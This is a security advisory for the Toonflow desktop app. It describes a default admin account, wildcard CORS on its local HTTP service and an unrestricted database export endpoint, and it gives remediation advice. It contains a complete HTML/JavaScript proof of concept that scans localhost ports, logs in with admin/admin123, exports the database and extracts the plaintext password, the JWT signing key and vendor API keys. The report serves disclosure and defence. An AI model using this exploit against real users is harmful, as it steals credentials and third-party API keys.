Local Sensitive Logic Exposure Lead to the Sensitive Information Disclosure
1. Vulnerability Description
When the Toonflow desktop application is running, it starts an HTTP service on the local machine. A combination of three issues—a default administrator account, unrestricted cross-origin access, and a full database export endpoint—allows a malicious web page visited by the user to automatically discover the local Toonflow service, authenticate with default credentials, call the database export endpoint, and read the exported database directly in browser JavaScript.
The export contains every non-SQLite-internal business table, including at least:
o_user.password: the user's login password. In the current implementation it is stored in plaintext, with the default valueadmin123.o_setting.tokenKey: the JWT signing key. Once disclosed, an attacker can forge valid JWTs.o_vendorConfig.inputValues: vendor model configuration, which typically contains third-party model service API keys.
The attack does not require the user to enter anything into the malicious web page or to click any feature in the application. While Toonflow is running, simply visiting the malicious page is enough for the page to discover the service, log in, export the database, and extract the sensitive fields.
The impact includes:
- Theft of configured third-party model API keys, creating direct financial and account-security risk.
- Theft of the application JWT signing key, allowing forged long-lived authentication tokens.
- Theft of the plaintext user password. If the password is reused elsewhere, this can enable further compromise.
- Export of all business tables, potentially including projects, scripts, asset URLs, model configuration, and agent configuration.
2. Affected Version and Attack Conditions
Affected component: the HTTP service embedded in the Toonflow desktop application.
Tested version: 1.1.8.
Risk rating: High. A malicious web page can read third-party API keys, the JWT signing key, and the plaintext user password, and can export all business data.
Attack conditions:
- Toonflow is running on the target user's machine.
- The default administrator account
admin/admin123remains unchanged, or the attacker knows another valid credential. - The user opens an attacker-controlled web page in a modern browser.
- The local firewall does not block browser access to the loopback address and Toonflow's random port.
Electron production mode uses a random port, but this does not eliminate the risk. A malicious page can probe common ports 10588 and 50188, followed by the local dynamic port range 32768-65535. The service can be identified by its response structure and error message. Randomization only modestly increases discovery cost and does not prevent the attack.
3. Vulnerability Details
3.1 Default Administrator Credentials Are Hard-Coded
Database initialization creates the default administrator directly:
{
name: "o_user",
builder: (table) => {
table.integer("id").notNullable();
table.text("name");
table.text("password");
table.primary(["id"]);
table.unique(["id"]);
},
initData: async (knex) => {
await knex("o_user").insert([
{ id: 1, name: "admin", password: "admin123" }
]);
},
}Problems:
- The initial username is fixed as
admin. - The initial password is fixed as
admin123. - The password is written to
o_user.passwordin plaintext. - Users are not forced to change the password on first launch.
- Login does not compare password hashes.
The login implementation compares the stored plaintext password directly:
const data = await u.db("o_user").where("name", "=", username).first();
if (!data) return res.status(400).send(error("Login failed"));
if (data!.password == password && data!.name == username) {
const tokenData = await u.db("o_setting").where("key", "tokenKey").first();
const token = setToken(
{
id: data!.id,
name: data!.name,
},
"180Days",
tokenData?.value as string,
);
return res.status(200).send(
success({ token: "Bearer " + token, name: data!.name, id: data!.id }, "Login successful")
);
}After a successful login, the service returns a Bearer JWT valid for 180 days.
3.2 Global CORS Allows Any Web Page to Read Responses
The embedded HTTP service configures the following Express middleware:
app.use(cors({ origin: "*" }));Any website can therefore send cross-origin requests to http://127.0.0.1:<port>/api/... and read the response body. For a local desktop application, this is not a safe default policy: even if the service listens only on localhost, any malicious web page in the user's browser can still access it through the loopback address.
In particular, both the login endpoint and the database export endpoint return responses with Access-Control-Allow-Origin: *. A malicious page can:
- Send a cross-origin login request.
- Read the JWT from the response.
- Place the JWT in the
Authorizationheader. - Call the export endpoint cross-origin.
- Parse the exported JSON and extract sensitive fields in JavaScript.
3.3 Authentication Does Not Prevent a Web Page with Default Credentials
The authentication middleware is:
app.use(async (req, res, next) => {
const setting = await u.db("o_setting")
.where("key", "tokenKey")
.select("value")
.first();
const { value: tokenKey } = setting;
const rawToken = req.headers.authorization || (req.query.token as string) || "";
const token = rawToken.replace("Bearer ", "");
if (req.path === "/api/login/login") return next();
if (!token) return res.status(401).send({ message: "No token provided" });
try {
const decoded = jwt.verify(token, tokenKey as string);
(req as any).user = decoded;
next();
} catch (err) {
return res.status(401).send({ message: "Invalid token" });
}
});Excluding the login endpoint is necessary, but it does not stop this attack. With default credentials and unrestricted CORS, a malicious page can first call the login endpoint, receive a valid JWT, and then access protected endpoints. The middleware cannot distinguish a request made by the trusted Toonflow frontend from one made by the attacker's page.
3.4 The Export Endpoint Runs SELECT * on Every Table
The export endpoint contains:
const router = express.Router();
export default router.get("/", async (req, res) => {
try {
const tables: { name: string }[] = await db.raw(
`SELECT name FROM sqlite_master
WHERE type='table'
AND name NOT LIKE 'sqlite_%'
AND name NOT LIKE 'knex_%'`
);
const data: Record<string, any[]> = {};
for (const table of tables) {
data[table.name] = await db.raw(`SELECT * FROM "${table.name}"`);
}
const exportData = {
exportTime: Date.now(),
tables: data,
};
res.setHeader("Content-Type", "application/json");
res.setHeader(
"Content-Disposition",
`attachment; filename=toonflow-backup-${Date.now()}.json`
);
res.status(200).send(JSON.stringify(exportData, null, 2));
} catch (err: any) {
res.status(500).send(error(err?.message || "Export failed"));
}
});The endpoint performs no field redaction, has no sensitive-table exclusion list, and does not require additional authorization or local user confirmation. Any request with a valid JWT receives every row and every column of every business table.
Consequently, sensitive data such as the following is included:
{
"tables": {
"o_user": [
{
"id": 1,
"name": "admin",
"password": "admin123"
}
],
"o_setting": [
{
"key": "tokenKey",
"value": "<JWT signing key>"
}
],
"o_vendorConfig": [
{
"id": "...",
"name": "...",
"inputValues": "{\"apiKey\":\"<third-party API key>\"}"
}
]
}
}3.5 The JWT Key and Password Lack Secure Storage
Database initialization uses:
{
key: "tokenKey",
value: uuid().slice(0, 8),
}This has two problems:
- The signing key is stored in plaintext in the database.
- Only the first 8 characters of a UUID are used, producing materially less entropy than a normal JWT signing key.
This key design is weak even without the export vulnerability. The export vulnerability exposes it directly to a web page.
4. Reproduction Steps
- Install or run the affected Toonflow application on the target machine.
- Leave the default administrator account
admin/admin123unchanged. - Start Toonflow and wait for the embedded HTTP service to start. Electron production mode uses a random port.
- Open an attacker-controlled web page in a browser on the same machine. The page content is provided below.
- Click the
Export Database and Extract Sensitive Fieldsbutton. - The page automatically:
- Probes common ports and the dynamic port range on
127.0.0.1. - Identifies the Toonflow service.
- Logs in with the default account and receives a JWT.
- Calls the database export endpoint.
- Parses
o_user,o_setting, ando_vendorConfig.
- Probes common ports and the dynamic port range on
- On success, the page displays:
- The discovered local service port.
- The number of exported tables.
Plaintext Password Field: Found.JWT Signing Key: Found.Vendor API Key Configuration: Found.- The actual plaintext password, JWT signing key, and vendor API key configuration.
In the local validation environment, the chain returned:
Default account login: successful
Database export status: 200
Plaintext password field: found
JWT signing key: found
Vendor API key configuration: found5. PoC
The following self-contained HTML page can be saved with any filename and opened in the target user's browser. No external dependencies are required.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Toonflow Database Export Credential Leak</title>
<style>
body { font: 14px/1.5 Arial, sans-serif; margin: 24px; color: #17202a; }
button { border: 0; border-radius: 6px; padding: 10px 14px; background: #175cd3; color: #fff; font-weight: 700; cursor: pointer; }
button.plain { background: #475467; }
button:disabled { opacity: .55; cursor: not-allowed; }
.summary { display: grid; grid-template-columns: repeat(4, 1fr); gap: 10px; max-width: 1000px; margin-bottom: 12px; }
.summary div { border: 1px solid #cfd8e3; border-radius: 6px; padding: 10px; background: #f8fafc; }
.summary strong { display: block; font-size: 18px; }
.summary span { font-size: 12px; color: #5d6b7a; }
pre { min-height: 100px; max-height: 420px; overflow: auto; padding: 12px; border-radius: 6px; background: #0d1117; color: #f6f8fa; white-space: pre-wrap; word-break: break-word; }
.error { color: #b42318; }
.ok { color: #067647; }
</style>
</head>
<body>
<h1>Toonflow Database Export Credential Leak</h1>
<button id="scan">Scan Local Port</button>
<button id="export">Export Database and Extract Sensitive Fields</button>
<div class="summary">
<div><strong id="tableCount">-</strong><span>Exported Tables</span></div>
<div><strong id="passwordState">-</strong><span>Plaintext Password</span></div>
<div><strong id="tokenKeyState">-</strong><span>JWT Signing Key</span></div>
<div><strong id="apiKeyState">-</strong><span>Vendor API Keys</span></div>
</div>
<pre id="scanOutput">Waiting for scan.</pre>
<pre id="exportOutput">Waiting for execution.</pre>
<script>
const state = {
host: "127.0.0.1",
port: null,
token: "",
};
function out(id, value) {
const el = document.getElementById(id);
el.textContent = typeof value === "string" ? value : JSON.stringify(value, null, 2);
}
function parseJson(text) {
try { return JSON.parse(text); }
catch { return text; }
}
function maybeJson(value) {
if (typeof value !== "string") return value;
try { return JSON.parse(value); }
catch { return value; }
}
function setDisabled(disabled) {
for (const button of document.querySelectorAll("button")) button.disabled = disabled;
}
function setError(message) {
document.getElementById("exportOutput").textContent = message || "";
document.getElementById("exportOutput").className = message ? "error" : "";
}
function baseUrl() {
if (!Number.isInteger(state.port)) throw new Error("Local Toonflow port is not discovered.");
return `http://${state.host}:${state.port}`;
}
async function call(path, options = {}) {
const headers = {
...(state.token ? { Authorization: state.token } : {}),
...(options.headers || {}),
};
if (options.body && !headers["Content-Type"]) headers["Content-Type"] = "application/json";
const response = await fetch(baseUrl() + path, {
...options,
headers,
mode: "cors",
cache: "no-store",
});
const text = await response.text();
return { response, text };
}
async function probePort(port) {
const controller = new AbortController();
const timeout = setTimeout(() => controller.abort(), 250);
try {
const response = await fetch(`http://${state.host}:${port}/api/login/login`, {
mode: "cors",
cache: "no-store",
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "username=&password=",
signal: controller.signal,
});
if (response.status !== 400) return null;
const body = await response.json();
if (body?.code !== 400 || body?.message !== "登录失败") return null;
return port;
} catch {
return null;
} finally {
clearTimeout(timeout);
}
}
async function scanPort() {
out("scanOutput", "Scanning...");
const priorityPorts = [10588, 50188];
const dynamicPorts = [];
for (let port = 32768; port <= 65535; port += 1) dynamicPorts.push(port);
let found = null;
for (const port of priorityPorts) {
found = await probePort(port);
if (found) break;
}
const concurrency = 96;
for (let start = 0; start < dynamicPorts.length && !found; start += concurrency) {
const batch = dynamicPorts.slice(start, start + concurrency);
const results = await Promise.all(batch.map((port) => probePort(port)));
found = results.find(Boolean) || null;
out("scanOutput", {
status: "scanning",
host: state.host,
scanned: priorityPorts.length + start + batch.length,
total: priorityPorts.length + dynamicPorts.length,
progress: `${Math.floor(((priorityPorts.length + start + batch.length) / (priorityPorts.length + dynamicPorts.length)) * 100)}%`,
});
}
if (!found) {
out("scanOutput", "No Toonflow service found.");
throw new Error("No Toonflow service found.");
}
state.port = found;
state.token = "";
out("scanOutput", {
status: "found",
host: state.host,
port: found,
baseUrl: `http://${state.host}:${found}`,
});
return found;
}
async function login() {
const { response, text } = await call("/api/login/login", {
method: "POST",
body: JSON.stringify({
username: "admin",
password: "admin123",
}),
});
const body = parseJson(text);
const token = body?.data?.token;
if (!response.ok || !token) throw new Error("Default account login failed.");
state.token = token;
return token;
}
function updateSummary(exportData) {
const tables = exportData?.tables || {};
const users = tables.o_user || [];
const tokenKey = (tables.o_setting || []).find(item => item.key === "tokenKey")?.value;
const vendors = tables.o_vendorConfig || [];
const hasPassword = users.some(user => typeof user.password === "string" && user.password.length > 0);
const hasApiKeys = vendors.some(vendor => {
const values = maybeJson(vendor.inputValues);
return values && typeof values === "object" && Object.keys(values).length > 0;
});
document.getElementById("tableCount").textContent = String(Object.keys(tables).length);
document.getElementById("passwordState").textContent = hasPassword ? "Found" : "Not Found";
document.getElementById("passwordState").className = hasPassword ? "ok" : "error";
document.getElementById("tokenKeyState").textContent = tokenKey ? "Found" : "Not Found";
document.getElementById("tokenKeyState").className = tokenKey ? "ok" : "error";
document.getElementById("apiKeyState").textContent = hasApiKeys ? "Found" : "Not Found";
document.getElementById("apiKeyState").className = hasApiKeys ? "ok" : "error";
}
async function exportDatabase() {
if (!Number.isInteger(state.port)) await scanPort();
if (!state.token) await login();
const { response, text } = await call("/api/setting/dbConfig/exportData");
const body = parseJson(text);
if (!response.ok || !body?.tables) throw new Error("Database export failed.");
updateSummary(body);
const users = body.tables.o_user || [];
const tokenKey = (body.tables.o_setting || []).find(item => item.key === "tokenKey")?.value;
const vendors = (body.tables.o_vendorConfig || []).map(vendor => ({
id: vendor.id,
name: vendor.name,
enable: vendor.enable,
inputValues: maybeJson(vendor.inputValues),
}));
out("exportOutput", {
status: response.status,
accessControlAllowOrigin: response.headers.get("access-control-allow-origin"),
o_user: users,
tokenKey,
vendorConfigs: vendors,
rawResponsePrefix: text.slice(0, 4000),
});
}
async function guard(task) {
setDisabled(true);
setError("");
try {
await task();
} catch (error) {
setError(error?.message || String(error));
} finally {
setDisabled(false);
}
}
document.getElementById("scan").onclick = () => guard(scanPort);
document.getElementById("export").onclick = () => guard(exportDatabase);
</script>
</body>
</html>Notes:
- Port discovery sends an empty username and password. Toonflow returns a recognizable JSON structure and HTTP 400 status for this request, which can be used to identify the service.
- Automatic scanning accesses only
127.0.0.1, avoiding use of the page as a remote port scanner. - After a successful export, the page can read the sensitive fields directly from the response.
6. Remediation
6.1 Highest-Priority Fixes
1. Remove the default administrator account and password
- Do not create a fixed
admin/admin123account. - On first launch, require the user to create an initial administrator username and strong password.
- If an existing default account is detected after upgrade, require the user to change it.
- Return a generic login error to avoid service identification and username enumeration.
2. Restrict CORS
The embedded local service should not use origin: "*".
Recommended approach:
app.use(
cors({
origin(origin, callback) {
const allowed = new Set([
"http://localhost:<frontend-port>",
"toonflow://<expected-host>",
]);
if (!origin || allowed.has(origin)) return callback(null, true);
return callback(new Error("Origin not allowed"));
},
credentials: false,
})
);If the frontend accesses the API through the toonflow:// custom protocol, allow only that origin and no arbitrary HTTP origins.
3. Prevent arbitrary web pages from accessing local APIs
Tightening CORS alone is insufficient. The safer design is to avoid exposing sensitive APIs through a general-purpose local HTTP service:
- Use
contextBridgeand IPC between the Electron renderer and main process. - If HTTP is required, bind only to
127.0.0.1. - Generate a high-entropy random token for each application instance.
- Inject that token only into the trusted local frontend.
- Require that token for every API request and reject missing or invalid tokens.
- Add a local-client check, such as a nonstandard
X-Toonflow-Local-Clientheader.
Host and Origin headers should not be the sole security control. Combine them with a per-process random token.
6
Source: HBAI-Ltd/Toonflow-app